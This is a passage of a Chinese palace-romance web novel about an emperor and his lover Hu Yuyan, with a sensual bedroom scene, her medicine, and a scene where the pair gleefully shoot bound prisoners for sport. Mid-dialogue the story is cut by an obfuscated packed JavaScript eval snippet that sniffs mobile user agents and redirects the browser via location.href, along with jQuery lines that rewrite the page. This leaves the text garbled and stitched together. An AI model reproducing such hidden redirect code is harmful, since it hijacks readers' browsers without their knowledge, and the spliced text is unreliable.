胡玉烟恍惚间抓紧了床前的纱帘,腕上一用力,整张纱帘被拽下,如流云般落到两人身上。
赵长昭任由那朦胧的月白轻纱盖住胡玉烟半张脸,道:“朦胧见美人,甚有趣味。”
他的指尖循着纱帘的轮廓游走,从微蹙的眉尖,到轻颤的眼睫,最后停在那紧抿的唇畔。他在她唇畔一寸处流连,又隔着一层薄纱将唇印上她的。温热透过经纬传来,似吻非吻,胡玉烟不由得绷紧了脊背,喉间溢出一声极轻的呜咽。
胡玉烟的呼吸渐渐急了,纱帛随之微微起伏,她忽然仰起脸,纱幔滑落,露出那双染了薄怒也染了情的眼。
她起初与他一道沉沦,后面终是有些忍受不了,她叫赵长昭慢点,可他充耳不闻。
“玉烟说什么?”他俯身,气息拂过她耳畔。
胡玉烟报复般在他手背上咬出红痕。
纱帛在两人的动作间反倒将二人缠在一起,比直接的触碰更让人难耐。
“我饿了……”玉烟的话中带着几分撒娇的语气。
赵长昭放缓了动作,直到渐渐停下。
胡玉烟闭着眼平复着呼吸,在金丝软枕上蹭了蹭被逼出的泪水。赵长昭搂着她,与她温存,又按耐不住想要挑拨。
胡玉烟干脆握住他的手,与他十指紧扣。赵长昭笑笑,亲了亲那手背,又用另一只手将胡玉烟染了汗水的鬓发抚到耳后,“我让人把点心端上来?”
胡玉烟摇摇头,眼尾还泛着红,嘴唇微肿,连脖颈都还残留着属于他的气息。她有气无力地道:“不想吃了。”
赵长昭见她实在乏累,又将人抱紧了些。一炷香之后,胡玉烟由睡转醒,焦躁地揉了揉额角。赵长昭察觉到动作,立刻睁了眼,露出满眼清明。
胡玉烟有些懊恼于自己的狼狈,她半撑着身子去寻散落在各处的衣裳,赵长昭一手撑住头,看着她动作。
胡玉烟被这道目光看得有些羞怯,却只能默默地背转过身去。她与赵长昭同寝同眠,又任由赵长昭索取无度,自己在欲望中深陷,可事后总有些难为情。
胡玉烟整理好了仪容,门外传来了宫人的脚步声。
赵长昭只披了一件外裳,拿起托盘上温热的药碗,挥挥手命宫人退下。
“玉烟今日的药还没有喝。”
浓重的苦味扑面而来。胡玉烟闭气想要一饮而尽,却在药汁触到唇畔时猛地偏过头去,一阵剧烈的恶心涌上喉头。
“我不想喝了……”胡玉烟皱了眉头,她从城楼上坠下,侥幸捡回一条命,靠着一碗碗苦药吊着性命,累月下来伤势在渐好,这药越发难以入口。
赵长昭从罐子中取了蜜饯,解释道:“派去崖岸寻药的人九死一生,药引看样子是要绝迹了,这药喝一碗便少一碗。”
胡玉烟心中清楚此药珍贵,又酝酿了一刻方将汤药悉数咽下,随后捏了块梅肉在嘴里嚼开。下一刻,挥之不去的恶心感立刻涌上,胡玉烟终是没忍住,扶着桌脚将咽下去的汤药全数吐了出来。
赵长昭吓了一跳,替她拍着背顺气,他满脸担忧,却打趣道:“玉烟莫不是有了?”
胡玉烟也轻笑出声,她想说赵长昭明明清楚她再也不会有孩子,却被咳嗽止住了话语。
她摇了摇头,终究是有些心疼被浪费了的汤药。又觉得浪费如此多人力物力,就为了吊着她一个将死之人的性命,她凭什么呢?
“以后都不喝了吧……”胡玉烟的话里带着无可奈何。
赵长昭扯了扯嘴角,“我与你说着玩呢,最好的药引没了,我便去寻替代品,我是皇帝,什么东西要不了?玉烟的药一碗都不能少。”
胡玉烟心里升起一股躁意,冷着脸却没有反驳,很快慧儿又端了一碗新药上来。
胡玉烟服了药,带着一夜的疲累沉沉睡了一觉,等她醒来,宫人道是赵长昭邀她去马场一叙。
眼下日头正盛,马场前搭了一座高台,赵长昭将一柄雕金嵌玉的长弓递至她手中。
“这是?”
赵长昭拍拍手,几十名披头散发的囚犯被人从囚车中拖了出来。
“这些是上官家的宗亲,皇后入主中宫,依礼法颁了赦令。可怎么能放过他们?上官家的一根草都不能留。”
赵长昭的语气中带了得意,“诏书上写着流放千里,实则奔波了一圈又回了京城,今日刚到。”
胡玉笑出声,觉得赵长昭折磨人的方式十分有趣。
她抬眼望去,忽然认出人群中一名面容熟稔的老妇。胡玉烟缓缓搭弓,箭羽划过风声,眸中无一丝波澜。
“玉烟好箭法!”赵长昭鼓掌大笑,随后自己也搭弓搭箭,一箭射穿了另一名年少男子的肩头。
男子扑倒在地,血流如注,却仍拼命爬向墙角,赵长昭又补了一箭,这次正中后心。
胡玉烟大笑起来,看着在马场四下逃窜的人群,今日的愁容都烟消云散。看到这些血、这些挣扎、这些绝望,她才知道原来复仇也可以让人上瘾。
她又射出了一箭,可惜没中,心中的快意不减,她机械地重复着搭弓射箭的动作,带着些疯癫。
赵长昭眉飞色舞,道:“我尚不知玉烟箭术甚好,可开心?”
胡玉烟笑得明媚张扬,点点头偏头看向赵长昭,从方才的失态中抽离。她心底最不可见、最不堪的黑暗,都被他一点一点挖出来,举到阳光下,告诉她这也没关系。
风愈发大,台下血流汇成一道浅沟,囚犯们跪地哀嚎求饶。
风中弓弦尚未散尽余音,赵长昭已掐指算完了方才猎杀的战果。
“玉烟射中了五个。”他手一摊,弯眉咧嘴地笑着,“我射中了八个,还有两个是动不了的,半条命都没了。怎么算,都是我赢了。”
胡玉烟将手中弓放下,挑了挑眉:“那又如何?”
“赢了,自然要赏。”赵长昭眨了眨眼,像在朝她邀功,“玉烟亲亲我吧。”
身后的宫人垂下了头,胡玉烟抬眸看了他一眼,眼底浮着点点笑意,“一身血气,我怕污了口脂。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724245|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你不亲也成,那我亲你。”赵长昭凑得更近,指尖在她下巴上轻轻勾了一下,随即落下一个浅吻。
胡玉烟分明感受到炙热的爱意,复又凑上前吻了吻赵长昭的嘴角。
看着赵长昭眼里自己的倒影,胡玉烟察觉到自己竟沉溺在和赵长昭的温存中,笑容逐渐僵在脸上,原先的欢喜被她掐灭。
赵长昭牵着她的手慢慢往前,连步子中都带着喜悦。
两人走在宫道上,胡玉烟状似随口道:“我听说越国的使臣来了。”
“不错。”赵长昭哼笑了一声,有些烦躁地弹着弓弦,“我白送了五座城池给越国,那些大臣已经气疯了,日日在我耳边念叨陛下三思。”
“可只要能杀了上官楚,五座城池又能算什么?”
胡玉烟抬手抹平了他紧皱的眉头,“我还听说,越国带了一位宗室女,意思是要陛下迎进后宫。”
赵长昭先是一愣,随即咧嘴笑了起来,他眼眸发亮,牵起胡玉烟的手,“玉烟是吃醋了吗?”
胡玉烟想开口,赵长昭却将一指覆在她唇上,生怕她否认。
“我如今是赵国的天子,万人之上,再没人能强迫我。”他额头上的汗珠晶莹发亮,看着胡玉烟的眼神多了几分侵略性,“我只想要玉烟。”
胡玉烟勾勾嘴角,继而道:“你答应过我,郑氏若是生了儿子,便让那孩子当皇帝。”
赵长昭对她有求必应,不论她的念头多荒唐、要求多离谱,他甚至愿意将赵国的江山送到她胡家血脉手中。胡玉烟的心跳快了几拍,有人愿意为她倾尽所有,可她其实没有那么在乎。
“玉烟放心,朕不会食言。”赵长昭答得干脆,脸上的喜悦反倒添了几分落寞。
身后风起,一只灰雀在廊檐啄了几下,又扑棱着飞远了。
三日后,越国使臣抵京,赵长昭爽快地将许诺的五座城池大方献上。
席间,越国使臣又献上一女子,称两国愿结秦晋之好。
郑黛身着华服,满头珠翠,端坐在皇后的宝座上,打量着这位娇俏的越国女子。
她又悄悄侧过头,去看坐在她旁边的赵长昭。掌权后的少年帝王眉眼愈发清冷沉静,偏生唇角带着温和笑意,举止有礼,却疏离得仿佛置身事外。
郑黛摸着自己隆起的小腹,看到那女子,居然生出几分释然与期待。
她惧怕赵长昭,却也好奇他究竟是怎样的人。
有佳人进来,还是他国的贵女,赵长昭总不能放着不管吧。哪有皇帝这般年纪还不近女色,连一丝欲望都看不到?
殿中一时寂静,赵长昭大手一挥,直言道:“朕无意多纳后宫。”
使臣面上惊讶,结亲实属正常之举,没想到他会当众拒绝,不禁面子上有些挂不住,进言道:“我越国女德容兼备,陛下不妨留在身边。”
赵长昭端坐着,“朕意已决,使臣回去复命就是,无需多言。”
赵长昭拒绝得干脆,郑黛握紧了袖中的指尖,越发觉得赵长昭是个怪物。